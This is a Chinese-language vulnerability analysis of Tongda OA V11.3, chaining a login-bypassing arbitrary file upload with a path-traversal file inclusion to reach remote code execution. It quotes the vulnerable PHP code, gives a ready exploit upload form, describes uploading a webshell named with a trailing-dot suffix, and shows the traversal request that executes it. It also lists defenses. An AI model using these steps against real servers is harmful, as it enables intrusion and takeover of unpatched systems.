通达OA文件上传及文件包含漏洞分析
字数 1168 2025-08-25 22:58:20
通达OA文件上传及文件包含漏洞分析教学文档
一、漏洞概述
本教学文档详细分析通达OA系统(V11.3版本)中存在的两个安全漏洞:
- 任意文件上传漏洞(全版本通杀)
- 文件包含漏洞(仅V11.3版本存在)
二、环境准备
1. 所需软件
- 通达OA V11.3下载地址:https://www.tongda2000.com/download/2019.php
- Zend 5.4解密工具:https://www.cr173.com/soft/418289.html
2. 漏洞文件位置
- 文件上传漏洞:
ispirit/im/upload.php - 文件包含漏洞:
ispirit/interface/gateway.php
三、任意文件上传漏洞分析
1. 漏洞原理
通过绕过登录验证和文件上传限制,实现任意文件上传。
2. 关键代码分析
登录绕过机制
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}
- 通过POST参数
P设置session_id,绕过登录验证 - 如果直接访问URL会提示"用户未登录"
- 传入
P参数后,PHPSESSID会被设置为P参数值
上传条件检查
intval($DEST_UID) // 不能为空或0
1 <= count($_FILES) // 必须有文件上传
文件后缀检查
位于inc/utility_file.php中的is_uploadable函数:
if (!is_uploadable($ATTACH_NAME)) {
$ERROR_DESC = sprintf(_("禁止上传后缀名为[%s]的文件"), substr($ATTACH_NAME, strrpos($ATTACH_NAME, ".") + 1));
}
- 检查文件后缀是否为禁止上传的类型
- 绕过方式:在文件名最后加
.(如shell.php.)
文件保存路径
- 通过
add_attach函数(位于inc/utility_file.php)生成保存路径 - 返回结果包含文件路径和自定义文件名
3. 漏洞利用步骤
- 构造HTML表单上传文件
- POST请求中设置
P参数绕过登录 - 设置
DEST_UID为非零值 - 上传文件(可使用
.php.绕过后缀检查)
四、文件包含漏洞分析
1. 漏洞原理
通过构造特殊URL路径,利用文件包含功能执行任意PHP代码。
2. 漏洞利用方式
http://localhost:8081/ispirit/interface/gateway.php?json={"url":"qqqispirit/../../attach/im/2003/376154918.x.php"}
- 通过
json参数中的url值进行路径穿越 - 包含之前上传的恶意PHP文件
3. 关键点
- 仅V11.3版本存在此漏洞
- 需要结合文件上传漏洞使用(先上传恶意文件,再通过文件包含执行)
五、漏洞复现步骤
1. 文件上传
- 构造HTML上传表单:
<form action="http://target/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="P" value="任意值">
<input type="hidden" name="DEST_UID" value="1">
<input type="file" name="FILE">
<input type="submit" value="Upload">
</form>
- 上传webshell文件(如
shell.php.)
2. 文件包含
- 获取上传文件的路径(通常在
attach/im/目录下) - 构造包含请求:
GET /ispirit/interface/gateway.php?json={"url":"qqqispirit/../../attach/im/[上传路径]/[文件名]"}
六、防御措施
-
文件上传漏洞防御:
- 严格验证用户会话
- 实现更严格的文件后缀检查
- 限制上传目录的执行权限
-
文件包含漏洞防御:
- 对包含路径进行严格过滤
- 禁止路径穿越符号(../)
- 更新到最新版本
七、总结
这两个漏洞组合利用可以导致远程代码执行:
- 首先利用文件上传漏洞上传恶意文件
- 然后通过文件包含漏洞执行上传的恶意文件
- 漏洞影响严重,需及时修复
注:本教学文档仅用于安全研究学习,请勿用于非法用途。